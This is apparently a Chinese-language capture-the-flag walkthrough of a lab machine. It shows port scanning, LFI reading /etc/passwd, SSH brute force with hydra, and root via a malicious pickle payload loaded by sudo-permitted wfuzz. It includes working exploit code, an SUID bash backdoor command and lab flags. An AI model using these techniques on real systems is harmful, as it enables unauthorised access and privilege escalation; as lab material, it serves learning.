0%

111

探测

nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
┌──(root㉿kali)-[~]
└─# nmap -p- 192.168.43.99
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-08 14:52 CST
Nmap scan report for 111 (192.168.43.99)
Host is up (0.00030s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 08:00:27:83:10:2F (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

┌──(root㉿kali)-[~]
└─# nmap -p 22,80 -sVC -A 192.168.43.99
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-08 14:55 CST
Nmap scan report for 111 (192.168.43.99)
Host is up (0.00046s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
| 256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_ 256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-title: 400 Bad Request
|_http-server-header: Apache/2.4.62 (Debian)
MAC Address: 08:00:27:83:10:2F (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4)
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.46 ms 111 (192.168.43.99)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.61 seconds

gobuster

无有用的数据,那就试试gobuster

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(root㉿kali)-[~]
└─# gobuster dir -u http://192.168.43.99 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt,htm
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.43.99
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8
[+] Extensions: php,html,txt,htm
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html (Status: 200) [Size: 20592]
/file.php (Status: 200) [Size: 0]
/server-status (Status: 403) [Size: 278]
Progress: 1102790 / 1102790 (100.00%)
===============================================================
Finished
===============================================================

发现index.html file.php
存在本地文件包含(LFI)漏洞

wfuzz

先用wfuzz测试一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(root㉿kali)-[~/localkali/testpayload]
└─# wfuzz -c -w /usr/share/wordlists/wfuzz/general/common.txt --ss "root:x:0:0" -u "http://192.168.3.42/file.php?FUZZ=/etc/passwd"
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************

Target: http://192.168.3.42/file.php?FUZZ=/etc/passwd
Total requests: 951

=====================================================================
ID Response Lines Word Chars Payload
=====================================================================

000000341: 200 26 L 38 W 1386 Ch "file"

Total time: 0
Processed Requests: 951
Filtered Requests: 950
Requests/sec.: 0

发现目标 ==file==

命令片段 含义 & 核心作用
wfuzz 调用 Wfuzz 主程序,启动模糊测试工具
-c 启用彩色输出功能,让测试结果中的状态码、响应长度等信息按不同颜色区分,提升可读性,方便快速筛选有效结果
-w /usr/share/wordlists/wfuzz/general/common.txt 加载本地字典文件作为测试 payload- -w:指定文本格式字典文件的参数(与之前 -z加载序列化文件不同,专用于纯文本词表)- 后续路径:Wfuzz 自带的通用常见字典,包含常用的 URL 参数名(如 filepath
includedir等)、目录名,适合基础探测
--ss "root:x:0:0" 结果筛选核心参数,只保留响应内容中包含指定字符串的请求- --ss:全称 --string-match,意为 “字符串匹配”,反向参数是 --hs(隐藏匹配指定字符串的结果)- "root:x:0:0":Linux 系统 /etc/passwd文件中 root 用户的标志性内容,只有成功读取到该文件,响应中才会包含此字符串,以此判断漏洞是否存在
-u "http://192.168.3.42/file.php?FUZZ=/etc/passwd" 指定测试目标 URL 及模糊测试位置- -u:目标 URL 参数 - file.php待测试的后端脚本文件; - FUZZ:Wfuzz 占位符,此处位于 URL 的查询参数名位置,执行时会被 common.txt
中的每一个字典值替换(例如替换为 filepath等,形成 ?file=/etc/passwd?path=/etc/passwd
等请求)- /etc/passwd:待读取的 Linux 敏感系统文件,作为查询参数的值,用于尝试触发文件包含

构造payload

1
curl -v http://192.168.43.99/file.php\?file\=/etc/passwd
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
*   Trying 192.168.43.99:80...
* Connected to 192.168.43.99 (192.168.43.99) port 80
> GET /file.php?file=/etc/passwd HTTP/1.1
> Host: 192.168.43.99
> User-Agent: curl/8.7.1
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200 OK
< Date: Thu, 08 Jan 2026 07:51:37 GMT
< Server: Apache/2.4.62 (Debian)
< Vary: Accept-Encoding
< Content-Length: 1386
< Content-Type: text/html; charset=UTF-8
<
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
tao:x:1000:1000:,,,:/home/tao:/bin/bash
* Connection #0 to host 192.168.43.99 left intact

发现有个==tao==用户, 结合80端口页面,提示我们使用 rockyou.tx 爆破密码了

hydra

一开始很慢,看到提示-t 4,加上很快就爆破出来

1
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
1
2
3
4
5
6
7
8
9
10
11
┌──(root㉿kali)-[~]
└─# hydra -t 4 -l tao -P /usr/share/wordlists/rockyou.txt ssh://192.168.43.99
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-01-08 16:15:00
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l:1/p:14344399), ~3586100 tries per task
[DATA] attacking ssh://192.168.43.99:22/
[22][ssh] host: 192.168.43.99 login: tao password: rockyou
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-01-08 16:15:19

爆破结果
==[22][ssh] host: 192.168.43.99 login: tao password: rockyou==

ssh

1
2
tao@111:~$ cat user.txt 
flag{user-21747e1ca09bfcc4f2551263db0f3dff}

提权

发现两个 (ALL) NOPASSWD: /usr/bin/wfuzz (ALL) NOPASSWD: /usr/bin/id

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
tao@111:~$ sudo -l
Matching Defaults entries for tao on 111:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User tao may run the following commands on 111:
(ALL) NOPASSWD: /usr/bin/wfuzz
(ALL) NOPASSWD: /usr/bin/id

tao@111:~$ cat /usr/bin/wfuzz
#!/usr/bin/python3
# EASY-INSTALL-ENTRY-SCRIPT: 'wfuzz==3.1.0','console_scripts','wfuzz'
import re
import sys

# for compatibility with easy_install; see #2198
__requires__ = 'wfuzz==3.1.0'

try:
from importlib.metadata import distribution
except ImportError:
try:
from importlib_metadata import distribution
except ImportError:
from pkg_resources import load_entry_point


def importlib_load_entry_point(spec, group, name):
dist_name, _, _ = spec.partition('==')
matches = (
entry_point
for entry_point in distribution(dist_name).entry_points
if entry_point.group == group and entry_point.name == name
)
return next(matches).load()


globals().setdefault('load_entry_point', importlib_load_entry_point)


if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0])
sys.exit(load_entry_point('wfuzz==3.1.0', 'console_scripts', 'wfuzz')())

脚本的核心作用

1
2
这个脚本的核心作用是作为一个“引导程序”。当你直接在终端中输入 `wfuzz`并执行时,系统最终会运行这个脚本。它的任务很简单:找到 `wfuzz`软件包中真正的命令行主程序,并启动它。
你可以把这种关系理解为:这个 `/usr/bin/wfuzz`脚本是一个统一的“前台接待员”,而真正的“业务处理部门”可能安装在系统Python环境的某个目录里。这个脚本负责把两者连接起来

cat /usr/bin/id 一堆乱码

(此处别人的wp方案)发现 wfuzzp payload, 查看其帮助:

1
sudo /usr/bin/wfuzz -z help --slice wfuzzp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
tao@111:/tmp$ sudo /usr/bin/wfuzz -z help --slice wfuzzp
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
Name: wfuzzp 0.2
Categories: default
Summary: Returns fuzz results' URL from a previous stored wfuzz session.
Author: Xavi Mendez (@xmendez)
Description:
This payload uses pickle.
Warning: The pickle module is not intended to be secure against erroneous or maliciously constructed data.
Never unpickle data received from an untrusted or unauthenticated source.
See: https://blog.nelhage.com/2011/03/exploiting-pickle/
Parameters:
+ fn (= ): Filename of a valid wfuzz result file.
- attr: Attribute of fuzzresult to return. If not specified the whole object is returned.

查看wfuzz的路径

1
2
3
4
5
tao@111:~$ which wfuzz
/usr/bin/wfuzz
tao@111:~$ python3 -c 'import wfuzz; print(wfuzz.__file__)'
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
/usr/lib/python3/dist-packages/wfuzz/__init__.py

查找关键字(exec、eval、system 和 pickle)这块卡主了也是问下别人的了思路

1
2
3
4
5
6
7
8
9
10
11
12
13
14
tao@111:~$ grep -r 'pickle' /usr/lib/python3/dist-packages/wfuzz/
Binary file /usr/lib/python3/dist-packages/wfuzz/plugins/payloads/__pycache__/wfuzzp.cpython-39.pyc matches
/usr/lib/python3/dist-packages/wfuzz/plugins/payloads/wfuzzp.py:import pickle as pickle
/usr/lib/python3/dist-packages/wfuzz/plugins/payloads/wfuzzp.py:
"This payload uses pickle.",
/usr/lib/python3/dist-packages/wfuzz/plugins/payloads/wfuzzp.py: "Warning: The pickle module is not intended to be secure against erroneous or maliciously constructed data.",
/usr/lib/python3/dist-packages/wfuzz/plugins/payloads/wfuzzp.py:
"Never unpickle data received from an untrusted or unauthenticated source.",
/usr/lib/python3/dist-packages/wfuzz/plugins/payloads/wfuzzp.py:
"See: https://blog.nelhage.com/2011/03/exploiting-pickle/",
/usr/lib/python3/dist-packages/wfuzz/plugins/payloads/wfuzzp.py: item = pickle.load(output)
Binary file /usr/lib/python3/dist-packages/wfuzz/__pycache__/fuzzqueues.cpython-39.pyc matches
/usr/lib/python3/dist-packages/wfuzz/fuzzqueues.py:import pickle as pickle
/usr/lib/python3/dist-packages/wfuzz/fuzzqueues.py: pickle.dump(item, self.output_fn)

命令解释:

  • -r: 递归搜索(Recursive),搜索该目录及其所有子目录下的文件。
  • pickle: 我要查找的关键字符串,它是 Python 中反序列化模块的名称。
  • /usr/lib/python3/dist-packages/wfuzz/: 搜索的目标路径。

搜索wfuzz存在的漏洞 反序列化
“介绍一下python中的 Pickle …”点击查看元宝的回答
https://yb.tencent.com/s/YRwA173TC8v7

关键原理:Pickle 反序列化 wfuzz 在加载文件时,使用的是 Python 的 pickle 模块。

  • 序列化: 把内存中的对象(比如代码、数据)变成二进制流保存到文件。
  • 反序列化: 把文件中的二进制流变回内存对象。
  • 漏洞: pickle 是不安全的。如果我们在文件中构造一段恶意的二进制流,当程序(以 root 权限)反序列化它时,就会自动执行我们在其中嵌入的恶意代码。

制作payload

让AI写一个python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# gen_pickle.py
import pickle
import os

class RCE:
def __reduce__(self):
# 这段代码会被靶机以 root 权限执行
# 1. 复制 /bin/bash 到 /tmp/rootbash
# 2. chmod +s 赋予 SUID 权限
cmd = "cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash"
return (os.system, (cmd,))

# 生成恶意的 pickle 数据并写入文件
with open("pwn.pickle", "wb") as f:
f.write(pickle.dumps(RCE()))

/usr/lib/python3/dist-packages/wfuzz/plugins/payloads/wfuzzp.py
在上面这个路径的文件中,有非常关键的一行代码决定了我们需要使用 Gzip 格式:

1
2
3
4
5
6
7
1     def _gen_wfuzz(self, output_fn):
2 try:
3 # 这里的 gzip.open 是关键证据
4 with gzip.open(self.find_file(output_fn), "r+b") as output:
5 while 1:
6 item = pickle.load(output)
7 # ...

wfuzz 在加载文件时会检查文件是否是 Gzip 压缩格式,所以我们需要压缩它:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
┌──(root㉿kali)-[~/localkali/testpayload]
└─# nano gen_pickle.py

┌──(root㉿kali)-[~/localkali/testpayload]
└─# python3 gen_pickle.py

┌──(root㉿kali)-[~/localkali/testpayload]
└─# ls -l
总计 8
-rw-r--r-- 1 root root 442 1月 8日 20:49 gen_pickle.py
-rw-r--r-- 1 root root 88 1月 8日 20:50 pwn.pickle

┌──(root㉿kali)-[~/localkali/testpayload]
└─# gzip -f pwn.pickle

┌──(root㉿kali)-[~/localkali/testpayload]
└─# ls -l
总计 8
-rw-r--r-- 1 root root 442 1月 8日 20:49 gen_pickle.py
-rw-r--r-- 1 root root 101 1月 8日 20:50 pwn.pickle.gz

┌──(root㉿kali)-[~/localkali/testpayload]
└─# python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.3.42 - - [08/Jan/2026 20:54:41] "GET /pwn.pickle.gz HTTP/1.1" 200 -

下载至靶机(靶机无wget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
tao@111:~$ cd /tmp
tao@111:/tmp$ ls -l
total 12
drwx------ 3 root root 4096 Jan 8 06:39 systemd-private-3cb28010eb0f4f118ffa13ace144e9dc-apache2.service-s9679i
drwx------ 3 root root 4096 Jan 8 06:39 systemd-private-3cb28010eb0f4f118ffa13ace144e9dc-systemd-logind.service-8WCDuh
drwx------ 3 root root 4096 Jan 8 06:39 systemd-private-3cb28010eb0f4f118ffa13ace144e9dc-systemd-timesyncd.service-AM08Di
tao@111:/tmp$ wget -h
-bash: wget: command not found
tao@111:/tmp$ curl -h
-bash: curl: command not found
tao@111:/tmp$ python3 -c "import urllib.request; urllib.request.urlretrieve('http://192.168.3.43:8000/pwn.pickle.gz', '/tmp/pwn.pickl
e.gz')"
tao@111:/tmp$ ls -l
total 16
-rw-r--r-- 1 tao tao 101 Jan 8 07:54 pwn.pickle.gz
drwx------ 3 root root 4096 Jan 8 06:39 systemd-private-3cb28010eb0f4f118ffa13ace144e9dc-apache2.service-s9679i
drwx------ 3 root root 4096 Jan 8 06:39 systemd-private-3cb28010eb0f4f118ffa13ace144e9dc-systemd-logind.service-8WCDuh
drwx------ 3 root root 4096 Jan 8 06:39 systemd-private-3cb28010eb0f4f118ffa13ace144e9dc-systemd-timesyncd.service-AM08Di
tao@111:/tmp$

执行payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
tao@111:/tmp$ sudo wfuzz -z wfuzz,/tmp/pwn.pickle.gz -u http://127.0.0.1/FUZZ
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************

Target: http://127.0.0.1/FUZZ
Total requests: <<unknown>>

=====================================================================
ID Response Lines Word Chars Payload
=====================================================================


Total time: 0
Processed Requests: 0
Filtered Requests: 0
Requests/sec.: 0

/usr/lib/python3/dist-packages/wfuzz/wfuzz.py:78: UserWarning:Fatal exception: Wrong wfuzz payload format, the object read is not a valid fuzz result.
tao@111:/tmp$

-z wfuzz,/tmp/pwn.pickle.gz
核心参数:指定 payload 生成器

  • -z:Wfuzz 中用于定义 payload 源的核心参数,格式为 类型,参数
  • wfuzz:payload 类型,表示加载 Wfuzz 专用的序列化(pickle)格式文件
  • /tmp/pwn.pickle.gz:指定待加载的 pickle 压缩文件路径

-u http://127.0.0.1/FUZZ
指定测试目标 URL

  • -u:目标 URL 参数
  • FUZZ:Wfuzz 的占位符,执行时会被 payload 文件中的每一个值替换
1
2
3
4
tao@111:/tmp$ ls -l /tmp/rootbash
-rwsr-sr-x 1 root root 1168776 Jan 8 07:58 /tmp/rootbash
# 结果显示:-rwsr-sr-x 1 root root ...
# 注意那个 's',代表 SUID 权限设置成功。

使用payload

进入root shell, -p 代表 Privileged mode(特权模式)

1
2
3
4
5
6
7
8
9
10
11
12
tao@111:/tmp$ /tmp/rootbash -p
rootbash-5.0# whoami
root
rootbash-5.0# /usr/bin/id
uid=1000(tao) gid=1000(tao) euid=0(root) egid=0(root) groups=0(root),1000(tao)
rootbash-5.0# cd /root
rootbash-5.0# ls
111.txt root.txt
rootbash-5.0# cat 111.txt
q6I42RCMyMkDV45svyuF
rootbash-5.0# cat root.txt
flag{root-9bbd7af2a042a901b92dc203b3896621}